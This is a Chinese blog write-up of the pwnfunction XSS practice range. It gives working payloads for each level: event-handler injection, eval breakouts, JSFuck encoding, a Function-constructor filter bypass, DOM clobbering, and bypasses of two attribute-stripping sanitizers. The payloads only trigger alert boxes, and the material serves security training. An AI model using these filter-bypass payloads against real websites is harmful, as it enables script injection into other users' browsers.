网络安全之XSS靶场

最新推荐文章于 2024-08-19 14:42:58 发布

稚锦

最新推荐文章于 2024-08-19 14:42:58 发布

阅读量619

点赞数 13

文章标签： web安全 xss 安全

本文链接：https://blog.csdn.net/huizhaohaha/article/details/141278662

版权

一、XSS靶场练习

靶场地址

https://xss.pwnfunction.com/

基础部分

Ma Spaghet!

从源码中我们可以看到url中需要有somebody这样一个参数，如果有就get获取它，如果没有，默认值为somebody后面连接一个字符串。这里我们看到了innerHTML，查看官方文档

看到这，我们可以使用img标签，来完成这道题目

?somebody=<img src=1 οnerrοr="alert(1337)">

Jefff

我们直接分析源码，有一个jeff参数，我们看到了eval函数，我们依然看官方文档。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval

题目解法（两种方法）

第一种闭合

?jeff=aaa";alert(1337);"

第二种使用连接符

?jeff=aaa"-alert(1337);-"

Ugandan Knuckles

分析源码，发现我们的传参在input当中，而且还没有过滤双引号，那我可以尝试闭合双引号，逃逸出来，做我们想做的事情，我们使用onclick来实现这一关的需求，但是由于题目有不能交互这样的限制，那么我们就不可以使用onclick，毕竟这一关过滤了<>,但是我想到了input有着焦点的功能，那我们使用onfocus+autofocus来实现自动聚焦

?wey=aaa" οnfοcus=alert(1337) autofocus="

Ricardo Milos

查看源码后发现，这一关有action，而在action中可以使用伪协议，同时这一关会在进入页面后两秒钟自动提交，那就简单了

?ricardo=javascript:alert(1337)

Ah That's Hawt

查看分析源码后，我们发现这一关有正则表达式，过滤了（）`\并且是全局过滤，这样一来，不能使用()就对弹窗很不利，那么我首先想到的办法就是编码，利用编码绕过，这时候我想起浏览器解析顺序是

URL 解析器->HTML 解析器-> CSS 解析器->JS解析器

那我们就是用二次解析进行绕过

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

Ligma

看完这一关后的源码后，发现过滤了大A到大Z，小A到小Z，0-9，那这时候我们也不能使用编码，我想到了使用jsfuck网站加密，那这样无法被url解析，我们需要改为urlcode编码方式

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

Mafia

分析源码明显可以看出，这一关过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则，同时也限制了一个长度，那么我们就不可以像上一关一样了，但是由于他只过滤了alert，我首先想到弹窗最常用的三个函数，为alert、prompt、confirm，三个函数都能实现弹窗，那么我们就可以轻松实现了

?mafia=prompt(1337)

?mafia=confirm(1337)

很明显，我们的这两个弹窗函数可以完美的绕过他这个正则，但是我们细想一下，聪明人只有我们自己吗，都已经过滤了alert了，那些这个正则的人难道不会过滤其他两个弹窗函数吗，答案明显是会的，那如果都过滤了我们该怎么办呢

我这里的做法是使用Function构造函数

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

当然这里还有其他方法，我就不举例了，感兴趣的可以自行去研究

Ok, Boomer

分析源码，这道题通过get参数将内容写入h2标签内，而且有过滤框架DOMPurify，DOMPurify防御用户输入框架，会把你的危险属性过滤完了，而这个过滤框架由安全团队cure53开发，以我们的技术很难绕过。但是注意setTimeout函数内的ok参数这里的JS代码是没有任何关于ok参数的定义的，所以我们可以使用DOM破坏，查看页面源代码，我们发现突破口在setTimeout（ok，2000）

这里我们使用DOM Clobbering，称为DOM破坏技术

?boomer=<a id=ok href=tel:alert(1337)>

二、扩展部分

代码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>
<body>
    <div class="aaa"id="aaaa">aaaaa</div>
</body>

<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    for (let el of root.querySelectorAll('*')) {
        for (let attr of el.attributes) {
            el.removeAttribute(attr.name);
        }   
    }
    document.body.appendChild(root);
</script>
</html>

分析代码，location.hash 用于获取 URL 中的片段标识符（即 URL 中 # 后的部分）。substr(1) 会移除掉 #，获取后续的内容。decodeURIComponent() 用于解码这些 URI 编码的字符。这意味着页面会获取 URL 中哈希值部分的内容，并解码为普通文本。document.createElement('div') 创建了一个新的 div 元素，并将 data（即从 URL 中获取的解码后的哈希值内容）插入到该 div 中。root.querySelectorAll('*') 遍历 root 中的所有元素，接着通过 el.removeAttribute(attr.name) 移除了每个元素的所有属性。这一步是为了删除可能包含恶意代码的属性，如 onclick、style 或 src 等，从而在某种程度上进行 XSS 防护。document.body.appendChild(root) 将这个清理过的 div 添加到文档的主体中，完成动态内容的插入。虽然在 JavaScript 中通过移除所有属性来防止部分 XSS 攻击，但直接将用户提供的数据插入到页面中是非常危险的。

可以看到，我们通过url传递参数，传递了两个，一个src =1，一个onerror，最后保留下来了onerror参数，那这是什么原理呢，我们可以根据这个进行猜测，那就是，在这个循环删除完第一个参数的时候，指针网第二个参数走，但是由于，第一个参数没有数据了，我的传递的第二个参数向前走了一步，也就是到达了第一个参数的位置，而现在指针指的位置为空了，删不删的无所谓了，那么依据我们的分析，我们传递的参数可以保留偶数的参数，奇数参数都将会被删除，那么我们可以试一试看看我们的猜测是否正确。

进过我们测试，发现确实使我们分析的那样，这个循环删除是在原有的基础上进行的，那么我们构造payload

<img a=1 src=1 b=2 οnerrοr=alert(1)>

很明显，我们拿下这个基础的啦，接下来我们来试试进阶版

进阶版代码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>
<body>
    <div class="aaa" id="aaaa">aaaaa</div>
</body>

<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data

    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>
</html>

我们再次拿上面的那种做法看是否可以成功

删的干干净净了，那我们该如何做呢

第一种解法

我们在他删之前就执行完我们想执行的东西

<svg><svg οnlοad=alert(1)>

很明显，这成功了，但是这个的原理又是什么呢，这就需要我们去了解底层代码了，（chrome v8），大家感兴趣的可以自行去了解。

第二种解法

我们已经知道源码中有attributes了，那我们使用input构建两个个id=attributes，但是由于他会删除值，所以我们需要再这个前面使用form进行一个包裹，而from中我们可以在前面来个动画，在加载动画钱可以弹出想要的东西，而form表单中的元素不会被删除，因为input也包含在form中。payload如下

<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>

如果不理解我讲的意思，其实可以那这个payload下断点进行调试，可以看的更加清楚。

这就是我们的第二种解法。

稚锦

关注

13
点赞
踩
11

收藏

觉得还不错? 一键收藏
0
评论
网络安全之XSS靶场

可以看到，我们通过url传递参数，传递了两个，一个src =1，一个onerror，最后保留下来了onerror参数，那这是什么原理呢，我们可以根据这个进行猜测，那就是，在这个循环删除完第一个参数的时候，指针网第二个参数走，但是由于，第一个参数没有数据了，我的传递的第二个参数向前走了一步，也就是到达了第一个参数的位置，而现在指针指的位置为空了，删不删的无所谓了，那么依据我们的分析，我们传递的参数可以保留偶数的参数，奇数参数都将会被删除，那么我们可以试一试看看我们的猜测是否正确。
复制链接

扫一扫